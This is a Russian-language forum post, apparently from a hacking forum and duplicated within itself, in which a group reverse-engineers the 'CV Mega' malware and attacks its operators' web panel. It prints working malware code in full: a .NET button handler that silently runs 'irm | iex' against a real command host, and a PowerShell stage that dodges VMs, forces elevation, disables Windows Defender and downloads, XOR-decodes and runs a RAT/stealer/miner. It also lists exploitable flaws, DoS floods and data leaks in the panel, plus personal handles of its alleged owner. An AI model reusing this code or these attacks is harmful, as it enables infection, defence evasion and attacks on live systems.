Пожалуйста, обратите внимание, что пользователь заблокирован
Автор - CODE XREF
Только для xss.pro
Дело было было поздним майским вечером, просматривая результаты поисковой выдачи "Shodan" мы с командой ("LLCPPC Team") наткнулись непримечательную страницу входа в некую утилизацию именуемой "CV Mega" по данному адресу (http://anticoresa9923p.hopto.org/login.php). Перейдя по ссылке можно было заметить (на данный момент все домены утилизированы) 2 формы для ввода данныx и кнопку "Login". Не долго думая мы помчались на VirusTotal и после недлительного поиска мы нашли первый артефакт - образцец: - .NET-лоадер'а (SHA-256:
495569591225da30ff9f5f5fe4c633d802869b71d7814d5dda127104a4eea63f), носитель PowerShell пейлоада. !
N1: Образец лоадера.
При нажатии кнопки Inject этот незамысловатый лоадер запускает новый экземпляр CMD передавая ему такие аргументы:
Итоговой командой выполнения этого кода послужит такая команда:
1. cmd /c powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbp.php?name=Youtube" | iex"
Что выполнит ps1 скрипт (см. 3) полученный с данного эндпоинт'а (см. 4) c аргументом Youtube, на тот момент мы предположили что он является тегом для мониторинга типа траффика (и были правы).
Нехитрыми манипуляциями нам удалось перехватить этот PS скрипт:
2. Простенький скрипт для получения payload'а
P.S.:
По какой-то причине, а возможно и вовсе без нее скрипт отправлял payload лишь увидев header (от англ. - заголовок) с версией PowerShell 7.2.1, в ином случае он отправлял dir search cheat - заглушка для неискушенных пользователей что попробуют зайти на эндпоинт с браузера. Так, вот, настоящим-же payload'ом служил данный скрипт:
PowerShell сценарий для получения основного payload'a.
К слову на момент проверки у данного лоадера было всего 0 детектов ScanTime на VirusTotal, что на данный момент переросли уже в 7.
Ничем не примечательный скрипт, простенькая проверка на VM, повышение UAC до администатора, отключение всевозможных политик Windows Defender, сохранение основного файла в зашифрованном виде, его расшифровка при помощи XOR с ключем 0xA3 и запуск.
Скрипт для безопасного скачивания финального payload'а.
Сигнатуры полученного файла в DiE. (Detect It Easy).
Как видно с анализа DiE, файл представляет из себя .NET сборку весом 777 КБ.
Загрузив файл в dnSpy мы видим огромное множество НеймСпейс'ов, названия которых с первого, как впрочем и со второго взялада кажутся абсолютно бессвязными - коими и являются.
Бегло осмотрев все типы вокруг да около EntryPoint'а (от англ. Точки Входа, см. 5 ) программы и не найдя ничего стоящего внимания мы предположили что это очередная стадия лоадера, и увы, были правы.
Но закинув бинарь в Ilspy и просмотрев UserString Heap можно найти следующеие строки
Как-то странно потому-что в Dnspy в поиске по строкам невозможно найти такие строки.
Но открывая hxd(см. 6) и введя cvmega можно найти строки сертификата, хэша а ниже и сам настоящий билд данного П.О!
Как работает CV MEGA В целом?
Сначала активируется .NET-лоадер запускающий PowerShell-инжектор при нажатие, замаскированный под обычную кнопку "Inject".
Инжектор - вторая стадия, которая выполняет:
- Проверку на виртуальную среду (Anti-VM)**
- Повышение привилегий (UAC bypass)**
- Полное отключение систем виндоус деффендера (Defender Policies, MpPreference)
Только после прохождения всех этих этапов лоадер переходит к третьей стадии загрузке зашифрованного финального payload'а.
Расшифрованный исполняемый файл, в свою очередь, содержит основную вредоносную нагрузку:
RAT
Stealler
Coin Miner (Xmrig).
Где же был спрятан сам билд?
Помните
Это зашифрованный embedded payload array, возможно сгенерированный при помощи Payload-Encoder от 0xG00S3. Расшифровав этот массив, мы получили полный код CV MEGA.![[Pasted image 20250709152345.png]]
Спустя пару месяцев мы с нашей командой LLCPPC TEAM скроля ленту гугла, искали что можно "запатчить", попентестить и нам в наш чат "LLCPPC ПАТЧИТ" скинули данную Тиму
Мы сразу же помчали регестрироваться, но из-за халатности создателя мы смогли зайти с аккаунта админа логин был Admin пароль 1234, после просмотра мы увидели менюшка которая была и раньше в CV MEGA, и тогда мы поняли что это она, быстренько получив билд мы начали процесс реверсинга дабы убедиться на 100% что это оно - и да это оказалось оно.
LLCPPC начал быстро смотреть панель, реверсить повершелл скрипты (!уже новые)
ae на тот момент начал сканирование через разные утилиты - NetSparker и т.д
И спустя 20 минут уже была найденная уязвимость -
1. PHP Path Truncation - в том числе на CV Mega: Если войти в аккаунт и перейти на: [https://silentclickteam.store/login.php/blabla](https://silentclickteam.store/login.php/blabla "https://silentclickteam.store/login.php/blabla") Тогда панель уходит в рекурсию: [https://silentclickteam.store/login...ker/worker/worker/worker/worker/dashboard.php "https://silentclickteam.store/login...ker/worker/worker/worker/worker/dashboard.php")
Нашел эту уязвимость LLCPPC, вручную, так-же нашли уязвимость в помощью которого можно DOS-ить сканер -
2. Если профлудить на: [https://silentclickteam.store/api/k...enscan_api.php?action=getResults&scanToken=-1 "https://silentclickteam.store/api/kleenscan_api.php?action=getResults&scanToken=-1") [https://silentclickteam.store/api/k...2a36286d0930bac96fd8091137d11462461d31345c95b "https://silentclickteam.store/api/k...2a36286d0930bac96fd8091137d11462461d31345c95b") (Желательно генерировать токены в конце) То панель падает на очень долгий срок и пользователей выкидывает.
3. 3. [DoS] Возможен флуд бандлами [https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000](https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000 "https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000")
4. 4. Утечка истории всего чата [https://silentclickteam.store/api/c...lickteam.store/api/chat_get_new.php?last_id=0 "https://silentclickteam.store/api/chat_get_new.php?last_id=0")
5. При удалении бандлов не проверяется владелец бандла, можно чужие бандлы удалять: [https://silentclickteam.store/api/w...re/api/worker_remove_bundle.php?bundle_id=534 "https://silentclickteam.store/api/worker_remove_bundle.php?bundle_id=534")
По итогу используя уязвимости мы сделали такую красоту - ![![[Pasted image 20250709154403.png]]
![[Pasted image 20250709154425.png]]![[Pasted image 20250709154431.png]]
![[Pasted image 20250709154438.png]]
Спустя 3 дня после наших атак, их домен был заблокирован. Наши агенты разведчики писали владельцу насчет нового домена и вот ответ
Такая ограмная архитектура и ради чего?Чтоб мы положили тиму?Убили домен?
Через неделю они купили Буллетпруф домен, мы начали вторую стадию атаки, у них отпала БД и они закрылись.
О владельце - Владелец известен как Dead_Artis, UnkownXyi Dead__Artis - Форум социальной инженерии — lolz[.]live (Lolzteam)
Создавал такое говно П.О как Sheet RAT - Liberium RAT если интересно можем в следующих постах расписать.
ПРИМЕЧАНИЕ - МЫ НЕ ПОДЕРЖИВАЕМ ВОРК ПО РУ, МЫ ПЕНТЕСТИЛИ ТОЛЬКО ЗА ОДОБРЕНИЕ ВОРКА ПО СНГ И РУ ЗА ЭТО ОНИ И ПОПЛАТИЛИСЬ. #STOPWORKRU
Что мы получили в итоге ? - Полный реверс вредоноса CV MEGA, закрытия тимы которая работает по RU.
Благодарности -
- Dosx (создатель DIE) помощь в реверсе: [https://dosx.su]
- LLCPPC за эксплуатацию панели: (https://t.me/LLCPPC_ATTACK)
- ANKO поиск уязвимостей
- ae идея реверса CV MEGA, DDOS Silent'a.
N.B.:
3. - Powershell сценарий
4. - Точка взаимодействия между клиентом и сервером. - https://dayzcheatcheck.online/nbp.php
5. - Место с которого программа начинает свое выполнение, за неимением в кодовом файле конструктора .cctor [.NET].
6. hex-редактор
Только для xss.pro
Дело было было поздним майским вечером, просматривая результаты поисковой выдачи "Shodan" мы с командой ("LLCPPC Team") наткнулись непримечательную страницу входа в некую утилизацию именуемой "CV Mega" по данному адресу (http://anticoresa9923p.hopto.org/login.php). Перейдя по ссылке можно было заметить (на данный момент все домены утилизированы) 2 формы для ввода данныx и кнопку "Login". Не долго думая мы помчались на VirusTotal и после недлительного поиска мы нашли первый артефакт - образцец: - .NET-лоадер'а (SHA-256:
495569591225da30ff9f5f5fe4c633d802869b71d7814d5dda127104a4eea63f), носитель PowerShell пейлоада. !
N1: Образец лоадера.
При нажатии кнопки Inject этот незамысловатый лоадер запускает новый экземпляр CMD передавая ему такие аргументы:
Код:
private void Button_Click(object sender, RoutedEventArgs e)
{
this.xbutton.IsEnabled = false;
string text = "-WindowStyle Hidden -Command ";
string text2 = "powershell";
string text3 = "Youtube";
string text4 = "https://dayzcheatcheck.online/nbp.php?";
Process.Start(new ProcessStartInfo
{
Arguments = string.Concat(new string[] { "/c ", text2, " ", text, "\"irm \"", text4, "name=", text3, "\" | iex\"" }),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd"
});
}
Итоговой командой выполнения этого кода послужит такая команда:
1. cmd /c powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbp.php?name=Youtube" | iex"
Что выполнит ps1 скрипт (см. 3) полученный с данного эндпоинт'а (см. 4) c аргументом Youtube, на тот момент мы предположили что он является тегом для мониторинга типа траффика (и были правы).
Нехитрыми манипуляциями нам удалось перехватить этот PS скрипт:
Python:
import requests
url = "https://dayzcheatcheck.online/nbp.php?name=Youtube"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) PowerShell/7.2.1",
"Accept": "application/json, text/plain, */*"
}
response = requests.get(url, headers=headers)
with open("payload.ps1", "wb") as f:
f.write(response.content)
print(f"Payload сохранен (размер: {len(response.content)} байт)")
P.S.:
url → u, headers → h, `output_dir → outПо какой-то причине, а возможно и вовсе без нее скрипт отправлял payload лишь увидев header (от англ. - заголовок) с версией PowerShell 7.2.1, в ином случае он отправлял dir search cheat - заглушка для неискушенных пользователей что попробуют зайти на эндпоинт с браузера. Так, вот, настоящим-же payload'ом служил данный скрипт:
Код:
function Test-IsVM {
param ( [string]$WmiClass )
try {
$count = (Get-WmiObject -Query "Select * from $WmiClass").Count
return $count -eq 0
} catch {
return $true
}
}
if (-not (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))) {
while ($true) {
try {
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command irm 'http://dayzcheatcheck.online/nbp.php?name=Youtube' | iex" -Verb RunAs -WindowStyle Hidden -Wait
exit 0
} catch { }
}
}
if ((Test-IsVM -WmiClass "Win32_CacheMemory") -or (Test-IsVM -WmiClass "CIM_Memory")) {
exit 0
}
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 0
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue
Set-MpPreference -DisablePrivacyMode $true -ErrorAction SilentlyContinue
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue
Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction SilentlyContinue
Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue
Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue
Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction SilentlyContinue
Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction SilentlyContinue
Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction SilentlyContinue
Start-Sleep -Seconds 3
>$Url = "http://dayzcheatcheck.online/nbq.php?name=Youtube"
$XorKey = 0xA3
$TempFile = [System.IO.Path]::Combine($env:tEMP, "bbf3afe6f3d6.exe")
$response = Invoke-WebRequest -Uri $Url
if ($response.Content.Length -gt 0) {
$bytes = $response.Content
for ($i = 0; $i -lt $bytes.Length; $i++) {
$bytes[$i] = $bytes[$i] -bxor $XorKey
}
Add-MpPreference -ExclusionPath $TempFile -ErrorAction SilentlyContinue
[System.IO.File]::WriteAllBytes($TempFile, $bytes)
Start-Process $TempFile
} else {
Write-Host 'Ошибка: файл не был загружен или пуст.'
}
PowerShell сценарий для получения основного payload'a.
К слову на момент проверки у данного лоадера было всего 0 детектов ScanTime на VirusTotal, что на данный момент переросли уже в 7.
Ничем не примечательный скрипт, простенькая проверка на VM, повышение UAC до администатора, отключение всевозможных политик Windows Defender, сохранение основного файла в зашифрованном виде, его расшифровка при помощи XOR с ключем 0xA3 и запуск.
Код:
$payloadUrl = 'http://dayzcheatcheck.xyz/nbq.php?name=Youtube'
$currentDir = Get-Location
$payloadFile = Join-Path $currentDir 'payload.bin'
$decodedFile = Join-Path $currentDir 'decoded.exe'
$xorKey = 0xA3
Invoke-WebRequest -Uri $payloadUrl -OutFile $payloadFile -UseBasicParsing
$bytes = [IO.File]::ReadAllBytes($payloadFile)
for ($i = 0; $i -lt $bytes.Length; $i++) {
$bytes[$i] = $bytes[$i] -bxor $xorKey
}
[IO.File]::WriteAllBytes($decodedFile, $bytes)
Remove-Item $payloadFile -Force -ErrorAction SilentlyContinue
"`nСохранен в: $decodedFile`n"
Сигнатуры полученного файла в DiE. (Detect It Easy).
Как видно с анализа DiE, файл представляет из себя .NET сборку весом 777 КБ.
Загрузив файл в dnSpy мы видим огромное множество НеймСпейс'ов, названия которых с первого, как впрочем и со второго взялада кажутся абсолютно бессвязными - коими и являются.
Бегло осмотрев все типы вокруг да около EntryPoint'а (от англ. Точки Входа, см. 5 ) программы и не найдя ничего стоящего внимания мы предположили что это очередная стадия лоадера, и увы, были правы.
Но закинув бинарь в Ilspy и просмотрев UserString Heap можно найти следующеие строки
Как-то странно потому-что в Dnspy в поиске по строкам невозможно найти такие строки.
Но открывая hxd(см. 6) и введя cvmega можно найти строки сертификата, хэша а ниже и сам настоящий билд данного П.О!
Как работает CV MEGA В целом?
Сначала активируется .NET-лоадер запускающий PowerShell-инжектор при нажатие, замаскированный под обычную кнопку "Inject".
Инжектор - вторая стадия, которая выполняет:
- Проверку на виртуальную среду (Anti-VM)**
- Повышение привилегий (UAC bypass)**
- Полное отключение систем виндоус деффендера (Defender Policies, MpPreference)
Только после прохождения всех этих этапов лоадер переходит к третьей стадии загрузке зашифрованного финального payload'а.
Расшифрованный исполняемый файл, в свою очередь, содержит основную вредоносную нагрузку:
RAT
Stealler
Coin Miner (Xmrig).
Где же был спрятан сам билд?
Помните
.NET-бинарь весом 777 КБ? Открывая его в dnSpy, мы находим namespace SubstitutesApiController, а внутри — класс GeneratorGetProductStats, содержащий:
Это зашифрованный embedded payload array, возможно сгенерированный при помощи Payload-Encoder от 0xG00S3. Расшифровав этот массив, мы получили полный код CV MEGA.![[Pasted image 20250709152345.png]]
Спустя пару месяцев мы с нашей командой LLCPPC TEAM скроля ленту гугла, искали что можно "запатчить", попентестить и нам в наш чат "LLCPPC ПАТЧИТ" скинули данную Тиму
Мы сразу же помчали регестрироваться, но из-за халатности создателя мы смогли зайти с аккаунта админа логин был Admin пароль 1234, после просмотра мы увидели менюшка которая была и раньше в CV MEGA, и тогда мы поняли что это она, быстренько получив билд мы начали процесс реверсинга дабы убедиться на 100% что это оно - и да это оказалось оно.
LLCPPC начал быстро смотреть панель, реверсить повершелл скрипты (!уже новые)
ae на тот момент начал сканирование через разные утилиты - NetSparker и т.д
И спустя 20 минут уже была найденная уязвимость -
1. PHP Path Truncation - в том числе на CV Mega: Если войти в аккаунт и перейти на: [https://silentclickteam.store/login.php/blabla](https://silentclickteam.store/login.php/blabla "https://silentclickteam.store/login.php/blabla") Тогда панель уходит в рекурсию: [https://silentclickteam.store/login...ker/worker/worker/worker/worker/dashboard.php "https://silentclickteam.store/login...ker/worker/worker/worker/worker/dashboard.php")
Нашел эту уязвимость LLCPPC, вручную, так-же нашли уязвимость в помощью которого можно DOS-ить сканер -
2. Если профлудить на: [https://silentclickteam.store/api/k...enscan_api.php?action=getResults&scanToken=-1 "https://silentclickteam.store/api/kleenscan_api.php?action=getResults&scanToken=-1") [https://silentclickteam.store/api/k...2a36286d0930bac96fd8091137d11462461d31345c95b "https://silentclickteam.store/api/k...2a36286d0930bac96fd8091137d11462461d31345c95b") (Желательно генерировать токены в конце) То панель падает на очень долгий срок и пользователей выкидывает.
3. 3. [DoS] Возможен флуд бандлами [https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000](https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000 "https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000")
4. 4. Утечка истории всего чата [https://silentclickteam.store/api/c...lickteam.store/api/chat_get_new.php?last_id=0 "https://silentclickteam.store/api/chat_get_new.php?last_id=0")
5. При удалении бандлов не проверяется владелец бандла, можно чужие бандлы удалять: [https://silentclickteam.store/api/w...re/api/worker_remove_bundle.php?bundle_id=534 "https://silentclickteam.store/api/worker_remove_bundle.php?bundle_id=534")
По итогу используя уязвимости мы сделали такую красоту - ![![[Pasted image 20250709154403.png]]
![[Pasted image 20250709154425.png]]![[Pasted image 20250709154431.png]]
![[Pasted image 20250709154438.png]]
Спустя 3 дня после наших атак, их домен был заблокирован. Наши агенты разведчики писали владельцу насчет нового домена и вот ответ
Такая ограмная архитектура и ради чего?Чтоб мы положили тиму?Убили домен?
Через неделю они купили Буллетпруф домен, мы начали вторую стадию атаки, у них отпала БД и они закрылись.
О владельце - Владелец известен как Dead_Artis, UnkownXyi Dead__Artis - Форум социальной инженерии — lolz[.]live (Lolzteam)
Создавал такое говно П.О как Sheet RAT - Liberium RAT если интересно можем в следующих постах расписать.
ПРИМЕЧАНИЕ - МЫ НЕ ПОДЕРЖИВАЕМ ВОРК ПО РУ, МЫ ПЕНТЕСТИЛИ ТОЛЬКО ЗА ОДОБРЕНИЕ ВОРКА ПО СНГ И РУ ЗА ЭТО ОНИ И ПОПЛАТИЛИСЬ. #STOPWORKRU
Что мы получили в итоге ? - Полный реверс вредоноса CV MEGA, закрытия тимы которая работает по RU.
Благодарности -
- Dosx (создатель DIE) помощь в реверсе: [https://dosx.su]
- LLCPPC за эксплуатацию панели: (https://t.me/LLCPPC_ATTACK)
- ANKO поиск уязвимостей
- ae идея реверса CV MEGA, DDOS Silent'a.
N.B.:
3. - Powershell сценарий
4. - Точка взаимодействия между клиентом и сервером. - https://dayzcheatcheck.online/nbp.php
5. - Место с которого программа начинает свое выполнение, за неимением в кодовом файле конструктора .cctor [.NET].
6. hex-редактор
Последнее редактирование модератором: